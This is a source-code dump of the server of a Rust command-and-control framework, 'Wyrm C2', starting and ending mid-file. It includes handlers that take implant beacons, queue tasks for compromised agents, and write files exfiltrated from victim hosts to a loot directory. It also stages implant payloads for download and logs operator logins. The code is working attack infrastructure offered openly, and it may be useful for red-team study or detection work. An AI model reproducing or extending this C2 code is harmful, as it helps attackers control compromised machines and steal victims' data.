{ Ok(payload) => payload, Err(_) => return StatusCode::BAD_REQUEST.into_response(), }; match handle_agent_post_standard(state, headers, json).await { Ok(r) => r.into_response(), Err(e) => { log_error_async(&e).await; return StatusCode::BAD_GATEWAY.into_response(); } } } async fn handle_agent_post_standard( state: State>, headers: HeaderMap, Json(payload): Json>>, ) -> Result, String> { let cl = state.clone(); // We check the payload length later in an assert to make sure there is no incorrect state going on. let payload_len = payload.len(); for item in payload { let decoded = item.xor_network_stream(); let mut task = decode_http_response(&decoded); // // First we check here whether the agent is connecting for the FIRST time since it was exited. // For example, from a reboot, or from killing the process. // This does not mean, first time ever seen like full stop, that doesn't matter. // // We split the separation because we don't want to start making things completed as below with // `mark_task_completed`, or adding to the completed pool, as this task will never exist in the database. // It serves only the implant itself. // // NOTE: This branch will RETURN from the processing of the beacons tasks; in theory there should ONLY // ever be this one `Command` sent up to the C2 on first connect, so it should be fine - I cannot see // any circumstance where other tasks will be pending processing along-with this command, unless we mess // up and accidentally write this task somewhere we shouldn't. If that happens, hopefully this comment // will help debug :). // if task.command == Command::AgentsFirstSessionBeacon { // Validate the state that there is only 1 task. // The invalid state will brick implants, so forces the bug to be reviewed if it appears. // But.. this should never appear. assert!(payload_len == 1); let Some(metadata) = task.metadata else { return Err("Task metadata was None".to_string()); }; let first_run_data: FirstRunData = match serde_json::from_str(&metadata) { Ok(d) => d, Err(e) => panic!("Failed to deserialise first run data from string. {e}"), }; // Serialise the tasks and send them back let (agent, tasks) = state .connected_agents .get_agent_and_tasks_by_header(&headers, &cl.db_pool, Some(first_run_data)) .await?; let mut init_tasks = agent.get_config_data(); if let Some(mut tasks) = tasks { init_tasks.append(&mut tasks); } return Ok(serialise_tasks_for_agent(Some(init_tasks)).await); } // Handle file exfil - save to disk and remove the exfil bytes, we dont want to store those // in the database if we are saving the file to disk. if task.command == Command::Pull { handle_exfiltrated_file(&mut task).await; } // If we have console messages, we need to explicitly put these in as a new task; although it isn't // a task strictly speaking, not doing so breaks the current model if task.command == Command::ConsoleMessages { let uid = extract_agent_id(&headers)?; let id = state .db_pool .add_task_for_agent_by_id(&uid, Command::ConsoleMessages, None) .await .map_err(|e| format!("Failed to add task for agent by ID: {uid} {e}"))?; // Overwrite the task ID from 1 to the new one task.id = id; } // // Command::AgentsFirstSessionBeacon was not present, so continue to // if let Err(e) = state.db_pool.mark_task_completed(&task).await { { log_error_async(&format!( "Failed to complete task in db where task ID = {}. {e}", task.id )) .await; } } // Get a copy of the agent let agent_id = extract_agent_id(&headers)?; if let Err(e) = state.db_pool.add_completed_task(&task, &agent_id).await { log_error_async(&format!( "Failed to add task results to completed table where task ID = {}. {e}", task.id )) .await } } // // Get any additional tasks from the database. // let (agent, tasks) = state .connected_agents .get_agent_and_tasks_by_header(&headers, &cl.db_pool, None) .await?; // // Check whether the kill command is present and the agent needs removing from the live list.. // handle_kill_command(state.connected_agents.clone(), &agent, &tasks).await; // // Serialise the response and return it // Ok(serialise_tasks_for_agent(tasks).await) } async fn receive_exfil(mut mp: Multipart) -> Result { let mut hostname: Option = None; let mut source_path: Option = None; while let Some(field) = mp.next_field().await.map_err(|_| StatusCode::BAD_REQUEST)? { match field.name() { Some("hostname") => { hostname = Some(field.text().await.map_err(|_| StatusCode::BAD_REQUEST)?) } Some("source_path") => { source_path = Some(field.text().await.map_err(|_| StatusCode::BAD_REQUEST)?) } Some("file") => { let host = hostname.as_deref().ok_or(StatusCode::BAD_REQUEST)?; let path = source_path.as_deref().ok_or(StatusCode::BAD_REQUEST)?; let mut dest = format!("{EXFIL_PATH}/{host}/{path}"); dest = dest.replace(r"C:\", "").replace('\\', "/"); if let Some(parent) = std::path::Path::new(&dest).parent() { tokio::fs::create_dir_all(parent) .await .map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?; } let mut out = tokio::fs::File::create(&dest) .await .map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?; let mut stream = field.into_stream(); while let Some(chunk) = stream.next().await { out.write_all(&chunk.map_err(|_| StatusCode::BAD_REQUEST)?) .await .map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?; } } _ => {} } } Ok(StatusCode::OK) } fn is_multipart(headers: &HeaderMap) -> bool { headers .get(CONTENT_TYPE) .and_then(|v| v.to_str().ok()) .map(|v| v.starts_with("multipart/")) .unwrap_or(false) } ================================================ FILE: c2/src/api/mod.rs ================================================ pub mod admin_routes; pub mod agent_get; pub mod agent_post; ================================================ FILE: c2/src/app_state.rs ================================================ use std::{ collections::{HashMap, HashSet}, env, path::PathBuf, sync::Arc, time::{Duration, Instant}, }; use rand::{Rng, distr::Alphanumeric}; use tokio::{ sync::{Mutex, RwLock}, time::sleep, }; use crate::{ COOKIE_TTL, FILE_STORE_PATH, agents::AgentList, db::Db, logging::log_error_async, profiles::{Profile, add_listeners_from_profiles, add_tokens_from_profiles}, }; pub struct AppState { /// The agents currently connected to the C2 which are able to be interacted with pub connected_agents: Arc, /// Database pool pub db_pool: Db, pub endpoints: RwLock, /// Tokens added during the agent creation wizard in which validate agents who are authorised to talk to the C2 pub agent_tokens: RwLock>, pub profile: RwLock, sessions: Arc>>, } #[derive(Debug, Clone)] pub struct DownloadEndpointData { pub file_name: String, pub internal_name: String, pub xor_key: Option, } impl DownloadEndpointData { pub fn new(file_name: &str, internal_name: &str, xor_key: Option) -> Self { Self { file_name: file_name.into(), internal_name: internal_name.into(), xor_key, } } } #[derive(Debug, Clone)] pub struct Endpoints { /// API endpoints which can be polled by the agent to check in / get tasks / POST data pub c2_endpoints: HashSet, /// `HashMap` - A collection of URI endpoints, /// not including a /, which can serve agents over HTTP(s). pub download_endpoints: HashMap, } impl Endpoints { /// Searches for, and formats with a leading `/` a download endpoint if it exists. /// /// # Returns /// - `Some` containing `/download_endpoint` if it exists. /// - `None` if the endpoint was not found. pub fn find_format_download_endpoint(&self, needle: &str) -> Option { for row in self.download_endpoints.iter() { if row.0.eq(needle) { // The URI doesn't include the leading /, so we add it here return Some(format!("/{}", row.0)); } } None } pub async fn read_staged_file_by_file_name(&self, needle: &str) -> Result, String> { // // Note internal name is NOT used.. so filename it is // TODO rm internal_name from the DownloadEndpointData if not needed // for (_, v) in self.download_endpoints.iter() { if v.file_name == needle { let mut path = PathBuf::from(FILE_STORE_PATH); path.push(&v.file_name); let tool_data = match tokio::fs::read(&path).await { Ok(f) => f, Err(e) => { return Err(format!("Could not read file {}, {e}", path.display())); } }; return Ok(tool_data); } } Err(format!( "Could not find {needle} in staged resources by internal name" )) } } impl AppState { pub async fn from(db_pool: Db, profile: Profile) -> Self { // Fetch the endpoints from the database that we are going to use. If none are setup, it will // default to `::new()` for each type. let (mut c2_endpoints, download_endpoints, mut agent_tokens) = db_pool.get_agent_related_db_cfg().await.unwrap(); // Add any listener URIs specified in the profile(s) add_listeners_from_profiles(&mut c2_endpoints, &profile); add_tokens_from_profiles(&mut agent_tokens, &profile); let endpoints = Endpoints { c2_endpoints, download_endpoints, }; let profile = RwLock::new(profile); let sessions = Arc::new(Mutex::new(HashMap::new())); Self { db_pool, connected_agents: Arc::new(AgentList::default()), endpoints: RwLock::new(endpoints), agent_tokens: RwLock::new(agent_tokens), profile, sessions, } } pub fn track_sessions(&self) { let sessions: Arc>> = self.sessions.clone(); tokio::spawn(async move { loop { let now = Instant::now(); { let mut lock = sessions.lock().await; lock.retain(|_, value| now.duration_since(*value) < COOKIE_TTL); } sleep(Duration::from_secs(60)).await; } }); } pub async fn create_session_key(&self) -> String { let mut lock = self.sessions.lock().await; // Loop until we generate a unique key (1024 alphanumeric character space) which is not already in the store let sid = loop { let rng = rand::rng(); let key: String = rng .sample_iter(&Alphanumeric) .take(1024) .map(char::from) .collect(); if lock.try_insert(key.clone(), Instant::now()).is_ok() { break key; } }; sid } /// Determines whether the presented `key` is valid in the current sessions on /// the server. pub async fn has_session(&self, key: &str) -> bool { let lock = self.sessions.lock().await; let key = key .strip_prefix("session=") .expect("could not find prefix session="); lock.contains_key(key) } pub async fn remove_session(&self, key: &str) { let mut lock = self.sessions.lock().await; let key = key .strip_prefix("session=") .expect("could not find prefix session="); let _ = lock.remove(key); } } /// Continually monitors for when an agent hasn't checked in after an appropriate period and will automatically remove /// it from the list of live agents. pub async fn detect_stale_agents(state: Arc) { // The duration to sleep the async task which will check whether we need to remove an agent from the // live list. const LOOP_SLEEP_SECONDS: u64 = 10; loop { { state.connected_agents.mark_agents_stale().await; tokio::time::sleep(Duration::from_secs(LOOP_SLEEP_SECONDS)).await; } } } ================================================ FILE: c2/src/db.rs ================================================ //! All database related functions use std::{ collections::{HashMap, HashSet}, env, time::Duration, }; use chrono::{DateTime, Utc}; use shared::tasks::{Command, FirstRunData, NewAgentStaging, Task}; use shared_c2_client::{NotificationsForAgents, StagedResourceData}; use sqlx::{Pool, Postgres, Row, migrate::Migrator, postgres::PgPoolOptions}; use crate::{ agents::Agent, app_state::DownloadEndpointData, logging::{print_failed, print_info, print_success}, }; const MAX_DB_CONNECTIONS: u32 = 30; const DB_ACQUIRE_TIMEOUT_SECS: u64 = 3; const DB_STATEMENT_TIMEOUT_MS: u64 = 30_000; static MIGRATOR: Migrator = sqlx::migrate!("./migrations"); pub struct Db { pool: Pool, } impl Db { /// Establish the connection to the Postgres db pub async fn new() -> Self { let db_string = format!( "postgres://{}:{}@{}/{}", env::var("POSTGRES_USER").expect("could not find POSTGRES_USER"), env::var("POSTGRES_PASSWORD").expect("could not find POSTGRES_PASSWORD"), env::var("POSTGRES_HOST").expect("could not find POSTGRES_HOST"), env::var("POSTGRES_DB").expect("could not find POSTGRES_DB") ); print_info(format!("Connecting to database...")); let pool = PgPoolOptions::new() .max_connections(MAX_DB_CONNECTIONS) .acquire_timeout(Duration::from_secs(DB_ACQUIRE_TIMEOUT_SECS)) .after_connect(|conn, _meta| { Box::pin(async move { let stmt = format!("SET statement_timeout = {}", DB_STATEMENT_TIMEOUT_MS); sqlx::query(&stmt).execute(conn).await?; Ok(()) }) }) .connect(&db_string) .await .map_err(|e| { let msg = format!("Could not establish a database connection. {e}"); print_failed(&msg); panic!("Could not establish a database connection. {e}"); }) .expect("could not setup PgPoolOptions"); if let Err(e) = MIGRATOR.run(&pool).await { print_failed(&format!("Could not run db migrations. {e}")); panic!("Could not run db migrations. {e}"); } print_success("Db connection established"); Self { pool } } // ************* DATABASE QUERIES /// Get an `Agent` from the db by its id and retrieves any tasks that are pending for /// the agent. pub async fn get_agent_with_tasks_by_id( &self, id: &str, frd: FirstRunData, ) -> Result<(Agent, Option>), sqlx::Error> { // Get the agent let row = sqlx::query( r#" SELECT uid, sleep FROM agents WHERE uid = $1"#, ) .bind(id) .fetch_one(&self.pool) .await?; let sleep: i64 = row.try_get("sleep")?; let sleep = sleep as u64; // Strictly speaking this isn't coming from the DB, but the time will close enough within // a reasonable degree of error. let last_check_in: DateTime = Utc::now(); // Get any tasks let tasks = self.get_tasks_for_agent_by_uid(id).await?; Ok(( Agent { uid: id.to_string(), sleep, first_run_data: frd, last_checkin_time: last_check_in, is_stale: false, }, tasks, )) } pub async fn get_tasks_for_agent_by_uid( &self, uid: &str, ) -> Result>, sqlx::Error> { let rows = sqlx::query( r#" UPDATE tasks SET fetched = TRUE WHERE id IN ( SELECT id FROM tasks WHERE agent_id = $1 AND fetched IS NOT TRUE ORDER BY id ASC FOR UPDATE SKIP LOCKED ) RETURNING id, command_id, data "#, ) .bind(uid) .fetch_all(&self.pool) .await?; if rows.is_empty() { return Ok(None); } let mut tasks: Vec = Vec::new(); for row in rows { let task_id: i32 = row.try_get("id")?; let command_id: i32 = row.try_get("command_id")?; let metadata: Option = row.try_get("data")?; let command = Command::from_u32(command_id as _); let task = Task::from(task_id, command, metadata); // As we are pulling tasks from the db to send back to the client; we want to make sure // at this point we mark any tasks as complete which are auto-completable that don't require // a response posted back to us if command.is_autocomplete() { self.mark_task_completed(&task) .await .expect("Could not complete task"); self.add_completed_task(&task, uid) .await .expect("Could not add task to completed"); } tasks.push(task); } tasks.sort_by_key(|task| task.id); Ok(Some(tasks)) } pub async fn insert_new_agent( &self, id: &str, frd: FirstRunData, ) -> Result { let _ = sqlx::query( "INSERT into agents (uid, sleep) VALUES ($1, $2)", ) .bind(id) .bind(frd.e as i64) .execute(&self.pool) .await?; let last_checkin_time: DateTime = Utc::now(); Ok({ Agent { uid: id.to_string(), sleep: frd.e, first_run_data: frd, last_checkin_time, is_stale: false, } }) } pub async fn add_task_for_agent_by_id( &self, uid: &String, command: Command, metadata: Option, ) -> Result { let row = sqlx::query( r#" INSERT into tasks (command_id, data, agent_id, fetched) VALUES ($1, $2, $3, FALSE) RETURNING id"#, ) .bind(command as i32) .bind(metadata) .bind(uid) .fetch_one(&self.pool) .await?; let id: i32 = row.get("id"); Ok(id) } pub async fn update_agent_sleep_time( &self, uid: &String, metadata: i64, ) -> Result<(), sqlx::Error> { let _ = sqlx::query( "UPDATE agents SET sleep = $1 WHERE uid = $2", ) .bind(metadata) .bind(uid) .execute(&self.pool) .await?; Ok(()) } /// Sets a task to completed in the db pub async fn mark_task_completed(&self, task: &Task) -> Result<(), sqlx::Error> { let _ = sqlx::query( r#" UPDATE tasks SET completed = TRUE WHERE id = $1 "#, ) .bind(task.id) .execute(&self.pool) .await?; Ok(()) } /// Adds a completed task into the `completed_tasks` table which stores the results /// and metadata associated with completed task results, to be used by the client. pub async fn add_completed_task(&self, task: &Task, agent_id: &str) -> Result<(), sqlx::Error> { let cmd_id: u32 = task.command.into(); let _ = sqlx::query( r#" INSERT INTO completed_tasks (task_id, result, time_completed_ms, agent_id, command_id) VALUES ($1, $2, $3, $4, $5) "#, ) .bind(task.id) .bind(task.metadata.as_deref()) .bind(task.completed_time) .bind(agent_id) .bind(cmd_id as i32) .execute(&self.pool) .await?; Ok(()) } /// Db query that looks whether an agent by its UID has any pending notifications /// that have not been polled by the client. pub async fn agent_has_pending_notifications(&self, uid: &String) -> Result { let results = sqlx::query( r#" SELECT ct.id FROM completed_tasks ct WHERE ct.agent_id = $1 AND ct.client_pulled_update = FALSE AND ct.command_id IS NOT NULL LIMIT 1 "#, ) .bind(uid) .fetch_one(&self.pool) .await; let results = match results { Ok(r) => r, Err(e) => match e { sqlx::Error::RowNotFound => return Ok(false), _ => return Ok(false), }, }; Ok(!results.is_empty()) } pub async fn pull_notifications_for_agent( &self, uid: &String, ) -> Result, sqlx::Error> { let mut rows: NotificationsForAgents = sqlx::query_as( r#" WITH pending AS ( SELECT id FROM completed_tasks WHERE client_pulled_update = FALSE AND agent_id = $1 AND command_id IS NOT NULL ORDER BY task_id ASC FOR UPDATE SKIP LOCKED ) UPDATE completed_tasks ct SET client_pulled_update = TRUE FROM pending WHERE ct.id = pending.id RETURNING ct.id AS completed_id, ct.task_id, ct.command_id, ct.agent_id, ct.result, ct.time_completed_ms "#, ) .bind(uid) .fetch_all(&self.pool) .await?; if rows.is_empty() { return Ok(None); } rows.sort_by_key(|row| row.task_id); Ok(Some(rows)) } /// Updates the agents last check-in time, both in the database, and the in memory copy of the agent. pub async fn update_agent_checkin_time(&self, agent: &mut Agent) -> Result<(), sqlx::Error> { // Update the in memory representation of the agent's last check-in agent.last_checkin_time = Utc::now(); // We will use PG inbuilt now() function to keep types happy let _ = sqlx::query( r#" UPDATE agents SET last_check_in = now() WHERE uid = $1 "#, ) .bind(&agent.uid) .execute(&self.pool) .await?; Ok(()) } // pub async fn get_agent_last_check_in(&self, uid: &str) -> Result, sqlx::Error> { // let row = sqlx::query( // r#" // SELECT last_check_in // FROM agents // WHERE uid = $1 // "#, // ) // .bind(uid) // .fetch_one(&self.pool) // .await?; // let last_check_in: DateTime = row.try_get("last_check_in")?; // Ok(last_check_in) // } pub async fn add_staged_agent(&self, data: &NewAgentStaging) -> Result<(), sqlx::Error> { // As we are using this as a u8, and we cannot store it in the db as a u8 for some reason (?) // we will cast it to an i16 for storage, so we can safely convert back to a u8 without causing // undefined behaviour with an int overflow. let _ = sqlx::query( "INSERT into agent_staging (agent_name, host, c2_endpoint, staged_endpoint, sleep_time, pe_name, port, security_token) VALUES ($1, $2, $3, $4, $5, $6, $7, $8) ", ) .bind(&data.implant_name) .bind(&data.c2_address) .bind(&data.c2_endpoints[0]) .bind(&data.staging_endpoint) .bind(data.default_sleep_time) .bind(&data.pe_name) .bind(data.port as i16) .bind(&data.agent_security_token) .execute(&self.pool) .await?; Ok(()) } /// Deletes the database row relating to a staged resource. /// /// # Returns /// A `string` containing the file name on the local disk of the server. pub async fn delete_staged_resource_by_uri( &self, download_url: &str, ) -> Result { // Get the file name on disk before we delete, which will allow the file to be deleted by // path let results = sqlx::query( "SELECT pe_name FROM agent_staging WHERE staged_endpoint = $1", ) .bind(download_url) .fetch_one(&self.pool) .await?; let file_name: String = results.get("pe_name"); // Remove the agent staging row let _ = sqlx::query( "DELETE FROM agent_staging WHERE staged_endpoint = $1", ) .bind(download_url) .execute(&self.pool) .await?; Ok(file_name) } /// Queries the database to get URI information around routes available for agents where /// the operator has configured the C2 to use them, as well as staged downloads. /// /// # Returns /// On success returns a tuple: /// /// - `HashSet` containing the URIs that are permitted for c2 check-in /// - `HashMap` containing the URI's (key) and PE names (value) for staged downloads /// - `HashSet` containing the security tokens valid for agents to connect to the C2 pub async fn get_agent_related_db_cfg( &self, ) -> Result< ( HashSet, HashMap, HashSet, ), sqlx::Error, > { let mut check_in_uris: HashSet = HashSet::new(); let mut security_tokens: HashSet = HashSet::new(); let mut staged_downloads: HashMap = HashMap::new(); let rows = sqlx::query( r#" SELECT c2_endpoint, staged_endpoint, pe_name, security_token, agent_name, xor_key FROM agent_staging"#, ) .fetch_all(&self.pool) .await?; if rows.is_empty() { return Ok((check_in_uris, staged_downloads, security_tokens)); } for row in rows { let c2_endpoint: String = row.try_get("c2_endpoint")?; let staged_endpoint: String = row.try_get("staged_endpoint")?; let pe_name: String = row.try_get("pe_name")?; let agent_security_token: String = row.try_get("security_token")?; let agent_name: String = row.try_get("agent_name")?; let xor_key: Option = { let k: i16 = row.try_get("xor_key")?; // Cast is safe - we only ever accept a u8 on the frontend so we wont // experience any undefined behaviour in respect of integer underflow. if k == 0 { None } else { Some(k as u8) } }; check_in_uris.insert(c2_endpoint); staged_downloads.insert( staged_endpoint, DownloadEndpointData::new(&pe_name, &agent_name, xor_key), ); security_tokens.insert(agent_security_token); } Ok((check_in_uris, staged_downloads, security_tokens)) } /// Attempts to lookup an operator - at the moment this only supports SINGLE OPERATOR operations /// so when we make the lookup, we are looking for 1 and only 1 row. We are NOT searching by username /// right now. /// /// # Returns /// Some - (`db_username`, `password_hash`, `salt`) of the row /// None - if the operator could not be found pub async fn lookup_operator( &self, _username: &str, ) -> Result, sqlx::Error> { let row = sqlx::query( r#" SELECT username, password_hash, salt FROM operators"#, ) .fetch_one(&self.pool) .await?; if row.is_empty() { return Ok(None); } let db_username: String = row.try_get("username")?; let password_hash: String = row.try_get("password_hash")?; let salt: String = row.try_get("salt")?; Ok(Some((db_username, password_hash, salt))) } pub async fn add_operator( &self, username: &str, pw_hash: &str, salt_hash: &str, ) -> Result<(), sqlx::Error> { if let Ok(result) = self.lookup_operator("").await && result.is_some() { panic!("You are trying to add another operator and that is forbidden right now."); } let _ = sqlx::query( "INSERT into operators (username, password_hash, salt) VALUES ($1, $2, $3) ", ) .bind(username) .bind(pw_hash) .bind(salt_hash) .execute(&self.pool) .await?; Ok(()) } pub async fn get_staged_agent_data(&self) -> Result, sqlx::Error> { let rows = sqlx::query_as::<_, StagedResourceData>( r#" SELECT agent_name, c2_endpoint, staged_endpoint, pe_name, sleep_time, port, num_downloads FROM agent_staging"#, ) .fetch_all(&self.pool) .await?; Ok(rows) } pub async fn get_agent_export_data(&self, uid: &str) -> Result>, sqlx::Error> { let rows = sqlx::query( r#" SELECT task_id, result, time_completed_ms, command_id FROM completed_tasks WHERE agent_id = $1"#, ) .bind(uid) .fetch_all(&self.pool) .await?; if rows.is_empty() { return Ok(None); } let mut results = vec![]; for row in rows { let task_id: i32 = row.try_get("task_id")?; let metadata: Option = row.try_get("result")?; let completed_time: i64 = row.try_get("time_completed_ms")?; let command_id: i32 = row.try_get("command_id")?; let command = Command::from_u32(command_id as _); results.push(Task { id: task_id, command, completed_time, metadata, }); } Ok(Some(results)) } pub async fn update_download_count(&self, staged_endpoint: &String) -> Result<(), sqlx::Error> { let _ = sqlx::query( "UPDATE agent_staging SET num_downloads = num_downloads + 1 WHERE staged_endpoint = $1", ) .bind(staged_endpoint) .execute(&self.pool) .await?; Ok(()) } } ================================================ FILE: c2/src/exfil.rs ================================================ use std::path::PathBuf; use shared::tasks::{ExfiltratedFile, Task}; use tokio::io::AsyncWriteExt; use crate::{EXFIL_PATH, logging::log_error_async}; /// Handles an exfiltrated file from the targets machine by saving it to disk on the /// c2 under the path c2/ pub async fn handle_exfiltrated_file(task: &mut Task) { task.metadata = None; return; if let Some(ser) = &task.metadata { let ef = match serde_json::from_str::(ser) { Ok(ef) => ef, Err(e) => { // If we got an error extracting as an ExfiltratedFile, try extract as string which // will contain an error from the target system. if let Ok(_) = serde_json::from_str::(ser) { // Let the client deal with the error message return; } log_error_async(&format!( "Failed to deserialise data from exfiltrated file. {e}. Got: {:?}", task.metadata )) .await; task.metadata = None; return; } }; // // Construct the save path - we cannot save with C:\ in the name, so we strip this. Any other drive letter // should be fine (I think) // let mut save_path = String::from(EXFIL_PATH); save_path.push('/'); save_path.push_str(&ef.hostname); save_path.push('/'); save_path.push_str(&ef.file_path); let save_path = save_path.replace(r"C:\", ""); let save_path = save_path.replace("\\", "/"); // // Ensure the directory is created for the file // let mut path_as_path = PathBuf::from(&save_path); path_as_path.pop(); if let Err(e) = tokio::fs::create_dir_all(path_as_path).await { log_error_async(&format!( "Failed to create folder for exfiltrated file. {e}" )) .await; task.metadata = None; return; }; // // Create and write the file // let f = tokio::fs::File::options() .create(true) .write(true) .truncate(true) .open(&save_path) .await; let mut f = match f { Ok(f) => f, Err(e) => { log_error_async(&format!("Failed to create file after exfil. {e}")).await; task.metadata = None; return; } }; if let Err(e) = f.write_all(&ef.file_data).await { log_error_async(&format!("Failed to write exfiltrated file data. {e}")).await; }; } // Finally, remove the enclosed vec - we do not want to store this result in the db task.metadata = None; } /// Handles an exfiltrated file from the targets machine by saving it to disk on the /// c2 under the path c2/ pub async fn handle_exfiltrated_file_stream(task: &mut Task) { if let Some(ser) = &task.metadata { let ef = match serde_json::from_str::(ser) { Ok(ef) => ef, Err(e) => { // If we got an error extracting as an ExfiltratedFile, try extract as string which // will contain an error from the target system. if let Ok(_) = serde_json::from_str::(ser) { // Let the client deal with the error message return; } log_error_async(&format!( "Failed to deserialise data from exfiltrated file. {e}. Got: {:?}", task.metadata )) .await; task.metadata = None; return; } }; // // Construct the save path - we cannot save with C:\ in the name, so we strip this. Any other drive letter // should be fine (I think) // let mut save_path = String::from(EXFIL_PATH); save_path.push('/'); save_path.push_str(&ef.hostname); save_path.push('/'); save_path.push_str(&ef.file_path); let save_path = save_path.replace(r"C:\", ""); let save_path = save_path.replace("\\", "/"); // // Ensure the directory is created for the file // let mut path_as_path = PathBuf::from(&save_path); path_as_path.pop(); if let Err(e) = tokio::fs::create_dir_all(path_as_path).await { log_error_async(&format!( "Failed to create folder for exfiltrated file. {e}" )) .await; task.metadata = None; return; }; // // Create and write the file // let f = tokio::fs::File::options() .create(true) .write(true) .truncate(true) .open(&save_path) .await; let mut f = match f { Ok(f) => f, Err(e) => { log_error_async(&format!("Failed to create file after exfil. {e}")).await; task.metadata = None; return; } }; if let Err(e) = f.write_all(&ef.file_data).await { log_error_async(&format!("Failed to write exfiltrated file data. {e}")).await; }; } // Finally, remove the enclosed vec - we do not want to store this result in the db task.metadata = None; } ================================================ FILE: c2/src/logging.rs ================================================ use std::{env, fmt::Display, io::Write, path::PathBuf}; use chrono::{SecondsFormat, Utc}; use tokio::io::AsyncWriteExt; use crate::{ACCESS_LOG, DOWNLOAD, ERROR_LOG, LOG_PATH, LOGIN_LOG}; pub async fn log_download_accessed(uri: &str, addr: &str) { let mut path = PathBuf::from(LOG_PATH); path.push(DOWNLOAD); let msg = format!("Download accessed: /{uri}."); log(&path, &msg, Some(addr)).await; } pub async fn log_page_accessed_no_auth(uri: &str, addr: &str) { if let Ok(v) = env::var("DISABLE_ACCESS_LOG") { if v == "1" { return; } } let mut path = PathBuf::from(LOG_PATH); path.push(ACCESS_LOG); let msg = format!("Unauthenticated request at: /{uri}."); log(&path, &msg, Some(addr)).await; } pub async fn log_page_accessed_auth(uri: &str, addr: &str) { if let Ok(v) = env::var("DISABLE_ACCESS_LOG") && v == "1" { return; } let mut path = PathBuf::from(LOG_PATH); path.push(ACCESS_LOG); let msg = format!("Authenticated request at: /{uri}."); log(&path, &msg, Some(addr)).await; } pub async fn log_admin_login_attempt(username: &str, password: &str, ip: &str, success: bool) { if let Ok(v) = env::var("DISABLE_LOGIN_LOG") && v == "1" { return; } let mut path = PathBuf::from(LOG_PATH); path.push(LOGIN_LOG); // check if IP is unique, for size concerns only log those let r = tokio::fs::read_to_string(&path).await.unwrap_or_default(); let msg = if r.contains(ip) && success { format!("Login true. Username: {username}, Password: [REDACTED].") } else if r.contains(ip) && !success { format!("[REPEAT ATTEMPT] Login {success}. Username: {username}, Password: REDACTED.") } else if !success { if let Ok(v) = env::var("DISABLE_PLAINTXT_PW_BAD_LOGIN") { if v == "1" { format!("Login {success}. Username: {username}, Password: [REDACTED].") } else { format!("Login {success}. Username: {username}, Password: {password}.") } } else { format!("Login {success}. Username: {username}, Password: {password}.") } } else { format!("Login {success}. Username: {username}, Password: [REDACTED].") }; log(&path, &msg, Some(ip)).await; } pub fn log_error(message: &str) { let mut path = PathBuf::from(LOG_PATH); path.push(ERROR_LOG); log_sync(&path, message, None); } pub async fn log_error_async(message: &str) { let mut path = PathBuf::from(LOG_PATH); path.push(ERROR_LOG); log(&path, message, None).await } /// An internal function to log an event to a given log file. /// /// This function takes care of adding the date and IP to the log for consistency, and also appends /// a newline at the end of the line. async fn log(path: &PathBuf, message: &str, addr: Option<&str>) { let file = tokio::fs::OpenOptions::new() .read(true) .append(true) .open(path) .await; let message = construct_msg(addr, message); if let Ok(mut file) = file { let _ = file.write(message.as_bytes()).await; } } fn log_sync(path: &PathBuf, message: &str, addr: Option<&str>) { let msg = construct_msg(addr, message); let file = std::fs::OpenOptions::new() .read(true) .append(true) .open(path); if let Ok(mut file) = file { let _ = file.write(msg.as_bytes()); } } fn construct_msg(ip: Option<&str>, message: &str) -> String { let time_now = Utc::now(); let time_now = time_now.to_rfc3339_opts(SecondsFormat::Secs, true); if let Some(ip) = ip { format!("[{time_now}] [{ip}] {message}\n") } else { format!("[{time_now}] {message}\n") } } #[macro_export] macro_rules! ensure_log_file_on_disk { ($filename:expr) => {{ use crate::LOG_PATH; let mut log_path = std::path::PathBuf::from(LOG_PATH); log_path.push($filename); if let Err(e) = std::fs::File::create_new(&log_path) { match e.kind() { std::io::ErrorKind::AlreadyExists => (), _ => { panic!("Cannot create log for {}", $filename); } } } }}; } #[macro_export] macro_rules! create_dir { ($dir_path:expr) => {{ if let Err(e) = std::fs::create_dir($dir_path) { match e.kind() { std::io::ErrorKind::AlreadyExists => (), _ => panic!("Could not create dir for {}", $dir_path), } } }}; } pub fn print_success(msg: impl Display) { println!("[+] {msg}"); } pub fn print_info(msg: impl Display) { println!("[i] {msg}"); } pub fn print_failed(msg: impl Display) { println!("[-] {msg}"); } ================================================ FILE: c2/src/main.rs ================================================ #![feature(map_try_insert)] use core::panic; use std::{any::Any, net::SocketAddr, sync::Arc, time::Duration}; use axum::{ Router, body::Bytes, extract::DefaultBodyLimit, http::{Response, StatusCode, header}, middleware::from_fn_with_state, routing::{get, post}, serve, }; use http_body_util::Full; use shared::net::{ ADMIN_ENDPOINT, ADMIN_HEALTH_CHECK_ENDPOINT, ADMIN_LOGIN_ENDPOINT, NOTIFICATION_CHECK_AGENT_ENDPOINT, }; use tower_http::catch_panic::CatchPanicLayer; use crate::{ api::{ admin_routes::{ admin_login, admin_upload, build_all_binaries_handler, handle_admin_commands_on_agent, handle_admin_commands_without_agent, is_adm_logged_in, logout, poll_agent_notifications, }, agent_get::{handle_agent_get, handle_agent_get_with_path}, agent_post::{agent_post_handler, agent_post_handler_with_path}, }, app_state::{AppState, detect_stale_agents}, db::Db, logging::{log_error, print_info, print_success}, middleware::{authenticate_admin, authenticate_agent_by_header_token, logout_middleware}, profiles::parse_profile, }; mod admin_task_dispatch; mod agents; mod api; mod app_state; mod db; mod exfil; mod logging; mod middleware; mod net; mod pe_utils; mod profiles; /// The maximum POST body request size that can be received by the C2. /// Set at 1 GB. const NUM_GIGS: usize = 100; const MAX_POST_BODY_SZ: usize = NUM_GIGS * 1024 * 1024 * 1024; const AUTH_COOKIE_NAME: &str = "session"; const COOKIE_TTL: Duration = Duration::from_hours(12); /// The path to the directory on the server (relative to the working directory of the service [n.b. this /// implies the server was 'installed' correctly..]) const FILE_STORE_PATH: &str = "/data/staged_files"; const EXFIL_PATH: &str = "/data/loot"; const LOG_PATH: &str = "/data/logs"; const DB_EXPORT_PATH: &str = "/data/exports"; const ACCESS_LOG: &str = "access.log"; const DOWNLOAD: &str = "downloads.log"; const LOGIN_LOG: &str = "login.log"; const ERROR_LOG: &str = "error.log"; const TOOLS_PATH: &str = "/tools"; const WOFS_PATH: &str = "/wofs_static"; #[tokio::main] async fn main() -> Result<(), Box> { // // Initialise the state of the C2, including checking the filesystem, database, etc. // let state = init_server_state().await; // // Build the router and serve content // let app = build_routes(state.clone()).layer(CatchPanicLayer::custom(handle_panic)); let listener = tokio::net::TcpListener::bind(construct_listener_addr()).await?; print_success(format!( "Wyrm C2 started on: {}", listener.local_addr().unwrap() 